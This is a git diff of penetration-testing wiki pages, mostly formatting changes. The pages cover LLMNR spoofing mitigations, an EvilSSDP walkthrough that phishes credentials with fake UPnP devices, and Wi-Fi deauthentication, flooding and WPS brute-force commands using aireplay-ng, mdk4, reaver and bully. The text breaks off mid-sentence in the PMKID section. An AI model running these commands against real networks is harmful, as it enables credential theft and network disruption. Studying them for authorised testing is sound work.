LLMNR/NBNS/mDNS/DNS/DHCPv6 spoofer and man-in-the-middle tool designed to assist penetration testers/red teamers that find themselves limited to a Windows system. This version shares many features with the PowerShell version of Inveigh.\ More information in the [github of the project](https://github.com/Kevin-Robertson/InveighZero). ## Force Privileged Accounts to login via NTLM In Windows you **may be able to force some privileged accounts to authenticate to arbitrary machines**. Read the following page to learn how: -{% page-ref page="../../windows/active-directory-methodology/printers-spooler-service-abuse.md" %} +{% content-ref url="../../windows/active-directory-methodology/printers-spooler-service-abuse.md" %} +[printers-spooler-service-abuse.md](../../windows/active-directory-methodology/printers-spooler-service-abuse.md) +{% endcontent-ref %} ## Solution ### **Disabling LLMNR** -To disable LLMNR in your domain for DNS clients, open gpedit.msc. -Navigate to Computer Configuration->Administrative Templates->Network->DNS client. +To disable LLMNR in your domain for DNS clients, open gpedit.msc.\ +Navigate to Computer Configuration->Administrative Templates->Network->DNS client.\ Locate the option “Turn off multicast name resolution” and click “policy setting”: -![](../../.gitbook/assets/1%20%281%29.jpg) +![](<../../.gitbook/assets/1 (1).jpg>) Once the new window opens, enable this option, press Apply and click OK: @@ -165,22 +167,21 @@ To mitigate against the WPAD attack, you can add an entry for "wpad" in your DNS ### Multi-relay -1. **Forcing SMB Signing on all local windows machines**. This setting will digitally sign each and every SMB session which forces both the client and server to verify the source of the packets before continuing. This setting is only enabled by default on Domain Controllers. The following articles from Microsoft detail these settings \(which can be enabled through group policy\), and how to implement them. +1\. **Forcing SMB Signing on all local windows machines**. This setting will digitally sign each and every SMB session which forces both the client and server to verify the source of the packets before continuing. This setting is only enabled by default on Domain Controllers. The following articles from Microsoft detail these settings (which can be enabled through group policy), and how to implement them. [https://blogs.technet.microsoft.com/josebda/2010/12/01/the-basics-of-smb-signing-covering-both-smb1-and-smb2/](https://blogs.technet.microsoft.com/josebda/2010/12/01/the-basics-of-smb-signing-covering-both-smb1-and-smb2/) [https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/microsoft-network-client-digitally-sign-communications-always](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/microsoft-network-client-digitally-sign-communications-always) -2. **Reviewing and ensuring that the users on the local network can only remotely login to machines in which it is necessary**. For example: Sally can only log in to Sally’s workstation. If an attacker were to intercept Sally’s SMB Auth session, they could not relay the session to any workstations, rendering this method useless. +2\. **Reviewing and ensuring that the users on the local network can only remotely login to machines in which it is necessary**. For example: Sally can only log in to Sally’s workstation. If an attacker were to intercept Sally’s SMB Auth session, they could not relay the session to any workstations, rendering this method useless. -3. **Restrict NTLM Authentication on the local network as much as possible**. This attack cannot take advantage of Kerberos authentication, so by limiting the amount of NTLM that’s occurring, this attack can be greatly hindered. There is information from Microsoft on making this happen, but be warned.. If Kerberos authentication fails for whatever reason, it generally falls back onto NTLM. If you disable it entirely, your network might grind to a halt. +3\. **Restrict NTLM Authentication on the local network as much as possible**. This attack cannot take advantage of Kerberos authentication, so by limiting the amount of NTLM that’s occurring, this attack can be greatly hindered. There is information from Microsoft on making this happen, but be warned.. If Kerberos authentication fails for whatever reason, it generally falls back onto NTLM. If you disable it entirely, your network might grind to a halt. -4. **Prevent unauthorised users on your network**. An insider threat will likely not be utilising an SMB Relay attack, as they already have network credentials. By beefing up your physical security policies, preventing rogue devices on the network with ACLs and MAC Filtering, and ensuring proper network segmentation, you can greatly limit the threat of this attack being performed. +4\. **Prevent unauthorised users on your network**. An insider threat will likely not be utilising an SMB Relay attack, as they already have network credentials. By beefing up your physical security policies, preventing rogue devices on the network with ACLs and MAC Filtering, and ensuring proper network segmentation, you can greatly limit the threat of this attack being performed. ## References -**Images from:** [https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/](https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/) -[https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/](https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/) -[https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/) +**Images from: **[https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/](https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/)\ +[https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/](https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/)\ +[https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)\ [https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html) - diff --git a/pentesting/pentesting-network/spoofing-ssdp-and-upnp-devices.md b/pentesting/pentesting-network/spoofing-ssdp-and-upnp-devices.md index 33a3e30d..1b8b4d1e 100644 --- a/pentesting/pentesting-network/spoofing-ssdp-and-upnp-devices.md +++ b/pentesting/pentesting-network/spoofing-ssdp-and-upnp-devices.md @@ -1,6 +1,6 @@ # Spoofing SSDP and UPnP Devices with EvilSSDP -**This post was copied from** [**https://www.hackingarticles.in/evil-ssdp-spoofing-the-ssdp-and-upnp-devices/**](https://www.hackingarticles.in/evil-ssdp-spoofing-the-ssdp-and-upnp-devices/)\*\*\*\* +**This post was copied from **[**https://www.hackingarticles.in/evil-ssdp-spoofing-the-ssdp-and-upnp-devices/**](https://www.hackingarticles.in/evil-ssdp-spoofing-the-ssdp-and-upnp-devices/)**** ## **Introduction** @@ -24,7 +24,7 @@ cd evil-ssdp/ls python3 evil-ssdp.py --help ``` -![](https://i0.wp.com/1.bp.blogspot.com/-O6lddDvxqts/Xkq5PHqeE_I/AAAAAAAAisQ/FKOCxVwT9cMy54lLy0SsYcKoM5Q95K5mQCLcBGAsYHQ/s1600/1.png?w=687&ssl=1) +![](https://i0.wp.com/1.bp.blogspot.com/-O6lddDvxqts/Xkq5PHqeE_I/AAAAAAAAisQ/FKOCxVwT9cMy54lLy0SsYcKoM5Q95K5mQCLcBGAsYHQ/s1600/1.png?w=687\&ssl=1) In the cloned directory, we will find a directory named templates. It contains all the pre complied templates that can be used to phish the target user. @@ -43,23 +43,23 @@ ls temlates/ python3 evil-ssdp.py eth0 --template scanner ``` -![](https://i0.wp.com/1.bp.blogspot.com/-kg05jQ03Fnw/Xkq5Qing_qI/AAAAAAAAisk/GYK8MuCKqKUalqh3DHGWVRoyDlAQaxUrwCLcBGAsYHQ/s1600/2.png?w=687&ssl=1) +![](https://i0.wp.com/1.bp.blogspot.com/-kg05jQ03Fnw/Xkq5Qing_qI/AAAAAAAAisk/GYK8MuCKqKUalqh3DHGWVRoyDlAQaxUrwCLcBGAsYHQ/s1600/2.png?w=687\&ssl=1) ### **Manipulating User** The next logical step is to manipulate the user to click on the application. Being on the same network as the target will show our fake scanner on its explorer. This is where the UPnP is in works. The Evil SSDP tool creates this genuine-looking scanner on the system on the target without any kind of forced interaction with the target. -![](https://i1.wp.com/1.bp.blogspot.com/-_05xXp10Buk/Xkq5Qz4yosI/AAAAAAAAiso/HdHr0qJ59rkR2ur_UYcrHMdf93uqMhXUwCLcBGAsYHQ/s1600/3.png?w=687&ssl=1) +![](https://i1.wp.com/1.bp.blogspot.com/-\_05xXp10Buk/Xkq5Qz4yosI/AAAAAAAAiso/HdHr0qJ59rkR2ur_UYcrHMdf93uqMhXUwCLcBGAsYHQ/s1600/3.png?w=687\&ssl=1) Upon clicking the icon inside the Explorer, we will be redirected to the default Web Browser, opening our hosted link. The templates that we used are in play here. The user is now aware he/she is indeed connected to a genuine scanner or a fake UPnP device that we generated. Unaware target having no clue enters the valid credentials on this template as shown in the image given below. -![](https://i2.wp.com/1.bp.blogspot.com/-lp2DBNRl12A/Xkq5RBtGvgI/AAAAAAAAiss/G9jSOVdBO4wnRKixpXlbj6BJeCTBWz7cACLcBGAsYHQ/s1600/4.png?w=687&ssl=1) +![](https://i2.wp.com/1.bp.blogspot.com/-lp2DBNRl12A/Xkq5RBtGvgI/AAAAAAAAiss/G9jSOVdBO4wnRKixpXlbj6BJeCTBWz7cACLcBGAsYHQ/s1600/4.png?w=687\&ssl=1) ### **Grabbing the Credentials** As soon as the target user enters the credentials, we check our terminal on the attacker machine to find that we have the credentials entered by the user. As there is no conversation required for each target device, our fake scanner is visible to each and every user in the network. This means the scope of this kind of attack is limitless. -![](https://i1.wp.com/1.bp.blogspot.com/-RAI02igc4F4/Xkq5RSJ3j2I/AAAAAAAAisw/p47jd_jyyAE3RQIpms6nd-TzsPygD4CXQCLcBGAsYHQ/s1600/5.png?w=687&ssl=1) +![](https://i1.wp.com/1.bp.blogspot.com/-RAI02igc4F4/Xkq5RSJ3j2I/AAAAAAAAisw/p47jd_jyyAE3RQIpms6nd-TzsPygD4CXQCLcBGAsYHQ/s1600/5.png?w=687\&ssl=1) ## **Spoofing Office365 SSDP** @@ -73,7 +73,7 @@ As we did previously, let’s begin with the configuration of the template as we python3 evil-ssdp.py eth0 --template office365 ``` -![](https://i1.wp.com/1.bp.blogspot.com/-8GWxmKPDkIo/Xkq5RmgF8_I/AAAAAAAAis0/bxVTcd4aBCUZBEDuUIg3-G39aMu7l5YCgCLcBGAsYHQ/s1600/6.png?w=687&ssl=1) +![](https://i1.wp.com/1.bp.blogspot.com/-8GWxmKPDkIo/Xkq5RmgF8\_I/AAAAAAAAis0/bxVTcd4aBCUZBEDuUIg3-G39aMu7l5YCgCLcBGAsYHQ/s1600/6.png?w=687\&ssl=1) As we can see that the tool has done its job and hosted multiple template files on our attacker machine at port 8888. @@ -81,17 +81,17 @@ As we can see that the tool has done its job and hosted multiple template files As soon as we run the tool, we have a UPnP device named Office365 Backups. This was done by the tool without having to send any file, payload or any other type of interaction to the target user. All that’s left is the user to click on the icon. -![](https://i0.wp.com/1.bp.blogspot.com/-txqBOw02D6w/Xkq5RgolUcI/AAAAAAAAis4/wkQTzYBmtdU_Nbq9X1qI47FlJtdqHvIjQCLcBGAsYHQ/s1600/7.png?w=687&ssl=1) +![](https://i0.wp.com/1.bp.blogspot.com/-txqBOw02D6w/Xkq5RgolUcI/AAAAAAAAis4/wkQTzYBmtdU_Nbq9X1qI47FlJtdqHvIjQCLcBGAsYHQ/s1600/7.png?w=687\&ssl=1) Upon being clicked by the user, the target user is redirected to our fake template page through their default browser. This is a very genuine looking Microsoft webpage. The clueless user enters their valid credentials onto this page. -![](https://i1.wp.com/1.bp.blogspot.com/-69Tf3PRpvhM/Xkq5RziDXzI/AAAAAAAAis8/vjejKgh0XigRHFC2Ib8QCpPlzx_RAu4eACLcBGAsYHQ/s1600/8.png?w=687&ssl=1) +![](https://i1.wp.com/1.bp.blogspot.com/-69Tf3PRpvhM/Xkq5RziDXzI/AAAAAAAAis8/vjejKgh0XigRHFC2Ib8QCpPlzx_RAu4eACLcBGAsYHQ/s1600/8.png?w=687\&ssl=1) ### **Grabbing the Credentials** As soon as the user enters the credentials and they get passed as the post request to the server, which is our target machine, we see that on our terminal, we have the credentials. -![](https://i0.wp.com/1.bp.blogspot.com/-3KXN6DKT_E0/Xkq5SEwhKHI/AAAAAAAAitA/a2gTi5UwNE0JsMH-XQEW33MchkxgjPGSwCLcBGAsYHQ/s1600/9.png?w=687&ssl=1) +![](https://i0.wp.com/1.bp.blogspot.com/-3KXN6DKT_E0/Xkq5SEwhKHI/AAAAAAAAitA/a2gTi5UwNE0JsMH-XQEW33MchkxgjPGSwCLcBGAsYHQ/s1600/9.png?w=687\&ssl=1) ## **Diverting User to a Password Vault SSDP** @@ -105,39 +105,39 @@ As we did in our previous practices, we will have to set up the template for the python3 evil-ssdp.py eth0 --template password-vault ``` -![](https://i2.wp.com/1.bp.blogspot.com/-YPQirClmWN4/Xkq5O5WFgoI/AAAAAAAAisI/4_i4ogVRWE0C_ez3p6EkL8YdJ0ot48DmwCLcBGAsYHQ/s1600/10.png?w=687&ssl=1) +![](https://i2.wp.com/1.bp.blogspot.com/-YPQirClmWN4/Xkq5O5WFgoI/AAAAAAAAisI/4\_i4ogVRWE0C_ez3p6EkL8YdJ0ot48DmwCLcBGAsYHQ/s1600/10.png?w=687\&ssl=1) ### **Manipulating User** Moving onto the target machine, we see that the Password Vault UPnP is visible in the Explorer. Now lies that the user clicks on the device and gets trapped into our attack. Seeing something like Password Vault, the user will be tempted to click on the icon. -![](https://i2.wp.com/1.bp.blogspot.com/-3oMPYaCZ46k/Xkq5PB4zQ_I/AAAAAAAAisM/i5C8qZVB8RYWBwAkiKCZbdptIbsnk4CUwCLcBGAsYHQ/s1600/11.png?w=687&ssl=1) +![](https://i2.wp.com/1.bp.blogspot.com/-3oMPYaCZ46k/Xkq5PB4zQ_I/AAAAAAAAisM/i5C8qZVB8RYWBwAkiKCZbdptIbsnk4CUwCLcBGAsYHQ/s1600/11.png?w=687\&ssl=1) As the clueless user thinks that he/she has achieved far most important stuff with the fake keys and passwords. This works as a distraction for the user, as this will lead the user to try this exhaustive list of credentials with no success. -![](https://i0.wp.com/1.bp.blogspot.com/-SrCMlWIUxCM/Xkq5Pg_IznI/AAAAAAAAisU/L_ZIvQKfltkyk9iUCrEGyXCojx5b86uFgCLcBGAsYHQ/s1600/12.png?w=687&ssl=1) +![](https://i0.wp.com/1.bp.blogspot.com/-SrCMlWIUxCM/Xkq5Pg_IznI/AAAAAAAAisU/L_ZIvQKfltkyk9iUCrEGyXCojx5b86uFgCLcBGAsYHQ/s1600/12.png?w=687\&ssl=1) ## **Spoofing Microsoft Azure SSDP** -While working with Spoofing, one of the most important tasks is to not let the target user know that he/she has been a victim of Spoofing. This can be achieved by redirecting the user after we grab the credentials or cookies or anything that the attacker wanted to acquire. The evil\_ssdp tool has a parameter \(-u\) which redirects the targeted user to any URL of the attacker’s choice. Let’s take a look at the working of this parameter in action. +While working with Spoofing, one of the most important tasks is to not let the target user know that he/she has been a victim of Spoofing. This can be achieved by redirecting the user after we grab the credentials or cookies or anything that the attacker wanted to acquire. The evil_ssdp tool has a parameter (-u) which redirects the targeted user to any URL of the attacker’s choice. Let’s take a look at the working of this parameter in action. -To start, we will use the python3 for loading the tool. Followed by we mention the Network Interface that should be used. Now for this practical, we will be using the Microsoft Azure Storage Template. After selecting the template, we put the \(-u\) parameter and then mention any URL where we want to redirect the user. Here we are using the Microsoft official Link. But this can be any malicious site. +To start, we will use the python3 for loading the tool. Followed by we mention the Network Interface that should be used. Now for this practical, we will be using the Microsoft Azure Storage Template. After selecting the template, we put the (-u) parameter and then mention any URL where we want to redirect the user. Here we are using the Microsoft official Link. But this can be any malicious site. ```bash python3 evil-ssdp.py eth0 --template microsoft-azure -u https://malicous-site.com ``` -![](https://i2.wp.com/1.bp.blogspot.com/-ReHCqgFazX0/Xkq5QBiQ7jI/AAAAAAAAisY/_DFdnzBpSGY1iDP1YJxeVTHF3iS5PZnqwCLcBGAsYHQ/s1600/13.png?w=687&ssl=1) +![](https://i2.wp.com/1.bp.blogspot.com/-ReHCqgFazX0/Xkq5QBiQ7jI/AAAAAAAAisY/\_DFdnzBpSGY1iDP1YJxeVTHF3iS5PZnqwCLcBGAsYHQ/s1600/13.png?w=687\&ssl=1) ### **Manipulating User** Now that we have started the tool, it will create a UPnP device on the Target Machine as shown in the image given below. For the attack to be successful, the target needs to click on the device. -![](https://i1.wp.com/1.bp.blogspot.com/-rROTfEGP3z8/Xkq5QBn46dI/AAAAAAAAisc/7RDv7fI3BPYt1XmrKVRKOEHurkGY1xeogCLcBGAsYHQ/s1600/14.png?w=687&ssl=1) +![](https://i1.wp.com/1.bp.blogspot.com/-rROTfEGP3z8/Xkq5QBn46dI/AAAAAAAAisc/7RDv7fI3BPYt1XmrKVRKOEHurkGY1xeogCLcBGAsYHQ/s1600/14.png?w=687\&ssl=1) After clicking the icon, we see that the user is redirected to the Microsoft Official Page. This can be whatever the attacker wants it to be. -![](https://i2.wp.com/1.bp.blogspot.com/-gU36s2kyIbg/Xkq5QVRh61I/AAAAAAAAisg/hN3uVMTPh-suDiH5ID3-mWcQiNvDVYeJACLcBGAsYHQ/s1600/15.png?w=687&ssl=1) +![](https://i2.wp.com/1.bp.blogspot.com/-gU36s2kyIbg/Xkq5QVRh61I/AAAAAAAAisg/hN3uVMTPh-suDiH5ID3-mWcQiNvDVYeJACLcBGAsYHQ/s1600/15.png?w=687\&ssl=1) This concludes our practical of this awesome spoofing tool. @@ -146,4 +146,3 @@ This concludes our practical of this awesome spoofing tool. * Disable UPnP devices. * Educate Users to prevent phishing attacks * Monitor the network for the password travel in cleartext. - diff --git a/pentesting/pentesting-network/wifi-attacks/README.md b/pentesting/pentesting-network/wifi-attacks/README.md index ba8fcfb2..87fa6f15 100644 --- a/pentesting/pentesting-network/wifi-attacks/README.md +++ b/pentesting/pentesting-network/wifi-attacks/README.md @@ -19,7 +19,7 @@ iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan avail ### EAPHammer -```text +``` git clone https://github.com/s0lst1c3/eaphammer.git ./kali-setup ``` @@ -51,24 +51,24 @@ From: [https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux](https://g ## Resume attacks -* **DoS** - * Deauthentication/disassociation -- Disconnect everyone \(or a specific ESSID/Client\) - * Random fake APs -- Hide nets, possible crash scanners\) - * Overload AP -- Try to kill the AP \(usually not very useful\) +* **DoS ** + * Deauthentication/disassociation -- Disconnect everyone (or a specific ESSID/Client) + * Random fake APs -- Hide nets, possible crash scanners) + * Overload AP -- Try to kill the AP (usually not very useful) * WIDS -- Play with the IDS * TKIP, EAPOL -- Some specific attacks to DoS some APs * **Cracking** - * Crack **WEP** \(several tools and methods\) + * Crack **WEP **(several tools and methods) * **WPA-PSK** - * **WPS** pin "Brute-Force" - * **WPA PMKID** bruteforce - * \[DoS +\] **WPA handshake** capture + Cracking + * **WPS **pin "Brute-Force" + * **WPA PMKID **bruteforce + * \[DoS +] **WPA handshake **capture + Cracking * **WPA-MGT** * **Username capture** - * **Bruteforce** Credentials -* **Evil Twin** \(with or without DoS\) - * **Open** Evil Twin \[+ DoS\] -- Useful to capture captive portal creds and/or perform LAN attacks - * **WPA-PSK** Evil Twin -- Useful to network attacks if you know the password + * **Bruteforce **Credentials +* **Evil Twin **(with or without DoS) + * **Open **Evil Twin \[+ DoS] -- Useful to capture captive portal creds and/or perform LAN attacks + * **WPA-PSK **Evil Twin -- Useful to network attacks if you know the password * **WPA-MGT** -- Useful to capture company credentials * **MANA**, **Loud MANA**, **Known beacon** * **+ Open** -- Useful to capture captive portal creds and/or perform LAN attacks @@ -78,32 +78,32 @@ From: [https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux](https://g ### Deauthentication Packets -The most common way this sort of attack is done is with **deauthentication** packets. These are a type of "management" frame responsible for disconnecting a device from an access point. Forging these packets is the key to [hacking many Wi-Fi networks](https://null-byte.wonderhowto.com/how-to/wi-fi-hacking/), as you can forcibly disconnect any client from the network at any time. The ease of which this can be done is somewhat frightening and is often done as part of gathering a WPA handshake for cracking. +The most common way this sort of attack is done is with **deauthentication **packets. These are a type of "management" frame responsible for disconnecting a device from an access point. Forging these packets is the key to [hacking many Wi-Fi networks](https://null-byte.wonderhowto.com/how-to/wi-fi-hacking/), as you can forcibly disconnect any client from the network at any time. The ease of which this can be done is somewhat frightening and is often done as part of gathering a WPA handshake for cracking. -Aside from momentarily using this disconnection to harvest a handshake to crack, you can also just let those deauths keep coming, which has the effect of peppering the client with deauth packets seemingly from the network they are connected to. Because these frames aren't encrypted, many programs take advantage of management frames by forging them and sending them to either one or all devices on a network. -**Description from** [**here**](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.** +Aside from momentarily using this disconnection to harvest a handshake to crack, you can also just let those deauths keep coming, which has the effect of peppering the client with deauth packets seemingly from the network they are connected to. Because these frames aren't encrypted, many programs take advantage of management frames by forging them and sending them to either one or all devices on a network.\ +**Description from **[**here**](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.** #### **Deauthentication using Aireplay-ng** -```text +``` aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0 ``` -* -0 means deauthentication -* 1 is the number of deauths to send \(you can send multiple if you wish\); 0 means send them continuously -* -a 00:14:6C:7E:40:80 is the MAC address of the access point -* -c 00:0F:B5:34:30:30 is the MAC address of the client to deauthenticate; if this is omitted then broadcast deauthentication is sent \(not always work\) +* \-0 means deauthentication +* 1 is the number of deauths to send (you can send multiple if you wish); 0 means send them continuously +* \-a 00:14:6C:7E:40:80 is the MAC address of the access point +* \-c 00:0F:B5:34:30:30 is the MAC address of the client to deauthenticate; if this is omitted then broadcast deauthentication is sent (not always work) * ath0 is the interface name ### Disassociation Packets -Disassociation packets are another type of management frame that is used to disconnect a node \(meaning any device like a laptop or cell phone\) from a nearby access point. The difference between deauthentication and disassociation frames is primarily the way they are used. +Disassociation packets are another type of management frame that is used to disconnect a node (meaning any device like a laptop or cell phone) from a nearby access point. The difference between deauthentication and disassociation frames is primarily the way they are used. An AP looking to disconnect a rogue device would send a deauthentication packet to inform the device it has been disconnected from the network, whereas a disassociation packet is used to disconnect any nodes when the AP is powering down, rebooting, or leaving the area. -**Description from** [**here**](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.** +**Description from **[**here**](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.** -**This attack can be performed by mdk4\(mode "d"\):** +**This attack can be performed by mdk4(mode "d"):** ```bash # -c @@ -116,7 +116,7 @@ mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F ### **More DOS attacks by mdk4** -**From** [**here**](https://en.kali.tools/?p=864)**.** +**From **[**here**](https://en.kali.tools/?p=864)**.** **ATTACK MODE b: Beacon Flooding** @@ -158,7 +158,7 @@ mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j] **ATTACK MODE e: EAPOL Start and Logoff Packet Injection** -Floods an AP with **EAPOL** Start frames to keep it busy with **fake sessions** and thus disables it to handle any legitimate clients. Or logs off clients by **injecting fake** EAPOL **Logoff messages**. +Floods an AP with **EAPOL **Start frames to keep it busy with **fake sessions **and thus disables it to handle any legitimate clients. Or logs off clients by **injecting fake **EAPOL **Logoff messages**. ```bash # Use Logoff messages to kick clients @@ -184,56 +184,57 @@ A simple packet fuzzer with multiple packet sources and a nice set of modifiers. ### **Airggedon** -_**Airgeddon**_ offers most of the attacks proposed in the previous comments: +_**Airgeddon **_offers most of the attacks proposed in the previous comments: -![](../../../.gitbook/assets/image%20%28133%29.png) +![](<../../../.gitbook/assets/image (126).png>) ## WPS -WPS stands for Wi-Fi Protected Setup. It is a wireless network security standard that tries to make connections between a router and wireless devices faster and easier. **WPS works only for wireless networks that use a password** that is encrypted with the **WPA** Personal or **WPA2** Personal security protocols. WPS doesn't work on wireless networks that are using the deprecated WEP security, which can be cracked easily by any hacker with a basic set of tools and skills. \(From [here](https://www.digitalcitizen.life/simple-questions-what-wps-wi-fi-protected-setup)\) +WPS stands for Wi-Fi Protected Setup. It is a wireless network security standard that tries to make connections between a router and wireless devices faster and easier. **WPS works only for wireless networks that use a password** that is encrypted with the **WPA **Personal or **WPA2 **Personal security protocols. WPS doesn't work on wireless networks that are using the deprecated WEP security, which can be cracked easily by any hacker with a basic set of tools and skills. (From [here](https://www.digitalcitizen.life/simple-questions-what-wps-wi-fi-protected-setup)) -WPS uses a 8 length PIN to allow a user to connect to the network, but it's first checked the first 4 numbers and, if correct, then is checked the second 4 numbers. Then, it is possible to Brute-Force the first half and then the second half \(only 11000 possibilities\). +WPS uses a 8 length PIN to allow a user to connect to the network, but it's first checked the first 4 numbers and, if correct, then is checked the second 4 numbers. Then, it is possible to Brute-Force the first half and then the second half (only 11000 possibilities). ### WPS Bruteforce There are 2 main tools to perform this action: Reaver and Bully. * Reaver has been designed to be a robust and practical attack against WPS, and has been tested against a wide variety of access points and WPS implementations. -* Bully is a new implementation of the WPS brute force attack, written in C. It has several advantages over the original reaver code: fewer dependencies, improved memory and cpu performance, correct handling of endianness, and a more robust set of options. It runs on Linux, and was specifically developed to run on embedded Linux systems \(OpenWrt, etc\) regardless of architecture. +* Bully is a new implementation of the WPS brute force attack, written in C. It has several advantages over the original reaver code: fewer dependencies, improved memory and cpu performance, correct handling of endianness, and a more robust set of options. It runs on Linux, and was specifically developed to run on embedded Linux systems (OpenWrt, etc) regardless of architecture. - Bully provides several improvements in the detection and handling of anomalous scenarios. It has been tested against access points from numerous vendors, and with differing configurations, with much success. + Bully provides several improvements in the detection and handling of anomalous scenarios. It has been tested against access points from numerous vendors, and with differing configurations, with much success. If the WPS valid code is found, both Bully and Reaver will use it to discover the WPA/WPA2 PSK used to protect the network, so you will be able to connect anytime you need it. -```text +``` reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3 ``` #### Smart Brute force -Instead of starting trying every possible PIN, you should check if there are available **PINs discoveredfor the AP you are attacking** \(depending of the manufacturer MAC\) and the **PIN software generated PINs**. +Instead of starting trying every possible PIN, you should check if there are available **PINs discoveredfor the AP you are attacking** (depending of the manufacturer MAC) and the **PIN software generated PINs**. + +* The database of known PINs is made for Access Points of certain manufacturers for which it is known that they use the same WPS PINs. This database contains the first three octets of MAC-addresses and a list of corresponding PINs that are very likely for this manufacturer. -* The database of known PINs is made for Access Points of certain manufacturers for which it is known that they use the same WPS PINs. This database contains the first three octets of MAC-addresses and a list of corresponding PINs that are very likely for this manufacturer. * There are several algorithms for generating WPS PINs. For example, ComputePIN and EasyBox use the MAC-address of the Access Point in their calculations. But the Arcadyan algorithm also requires a device ID. ### WPS Pixie Dust attack -Dominique Bongard discovered that some APs have weak ways of generating **nonces** \(known as **E-S1** and **E-S2**\) that are supposed to be secret. If we are able to figure out what these nonces are, we can easily find the WPS PIN of an AP since the AP must give it to us in a hash in order to prove that it also knowns the PIN, and the client is not connecting to a rouge AP. These E-S1 and E-S2 are essentially the "keys to unlock the lock box" containing the WPS pin. More info here: [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\)](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-%28Offline-WPS-Attack%29) +Dominique Bongard discovered that some APs have weak ways of generating **nonces** (known as **E-S1** and **E-S2**) that are supposed to be secret. If we are able to figure out what these nonces are, we can easily find the WPS PIN of an AP since the AP must give it to us in a hash in order to prove that it also knowns the PIN, and the client is not connecting to a rouge AP. These E-S1 and E-S2 are essentially the "keys to unlock the lock box" containing the WPS pin. More info here: [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\)) -Basically, some implementations failed in the use of random keys to encrypt the 2 parts of the the PIN\(as it is discomposed in 2 parts during the authentication communication and sent to the client\), so an offline attack could be used to brute force the valid PIN. +Basically, some implementations failed in the use of random keys to encrypt the 2 parts of the the PIN(as it is discomposed in 2 parts during the authentication communication and sent to the client), so an offline attack could be used to brute force the valid PIN. -```text +``` reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3 ``` ### Null Pin attack -Some really bad implementations allowed the Null PIN to connect \(very weird also\). Reaver can test this \(Bully cannot\). +Some really bad implementations allowed the Null PIN to connect (very weird also). Reaver can test this (Bully cannot). -```text +``` reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p '' ``` @@ -241,19 +242,19 @@ Some really bad implementations allowed the Null PIN to connect \(very weird als All the proposed WPS attacks can be easily performed using _**airgeddon.**_ -![](../../../.gitbook/assets/image%20%28201%29%20%281%29.png) +![](<../../../.gitbook/assets/image (201).png>) -* 5 and 6 lets you try **your custom PIN** \(if you have any\) +* 5 and 6 lets you try** your custom PIN** (if you have any) * 7 and 8 perform the **Pixie Dust attack** * 13 allows you to test the **NULL PIN** -* 11 and 12 will **recollect the PINs related to the selected AP from available databases** and **generate** possible **PINs** using: ComputePIN, EasyBox and optionally Arcadyan \(recommended, why not?\) +* 11 and 12 will **recollect the PINs related to the selected AP from available databases** and **generate **possible **PINs **using: ComputePIN, EasyBox and optionally Arcadyan (recommended, why not?) * 9 and 10 will test **every possible PIN** ## **WEP** -So broken and disappeared that I am not going to talk about it. Just know that _**airgeddon**_ have a WEP option called "All-in-One" to attack this kind of protection. More tools offer similar options. +So broken and disappeared that I am not going to talk about it. Just know that _**airgeddon **_have a WEP option called "All-in-One" to attack this kind of protection. More tools offer similar options. -![](../../../.gitbook/assets/image%20%28277%29.png) +![](<../../../.gitbook/assets/image (125).png>) ## WPA/WPA2 PSK @@ -261,20 +262,20 @@ So broken and disappeared that I am not going to talk about it. Just know that _ In 2018 hashcat authors [disclosed](https://hashcat.net/forum/thread-7717.html) a new type of attack which not only relies **on one single packet**, but it doesn’t require any clients to be connected to our target AP or, if clients are connected, it doesn’t require us to send deauth frames to them, there’s no interaction between the attacker and client stations, but just between the attacker and the AP, interaction which, if the router is vulnerable, is almost immediate! -It turns out that **a lot** of modern routers append an **optional field** at the end of the **first EAPOL** frame sent by the AP itself when someone is associating, the so called `Robust Security Network`, which includes something called `PMKID` +It turns out that **a lot** of modern routers append an **optional field **at the end of the **first EAPOL **frame sent by the AP itself when someone is associating, the so called `Robust Security Network`, which includes something called `PMKID` -As explained in the original post, the **PMKID** is derived by using data which is known to 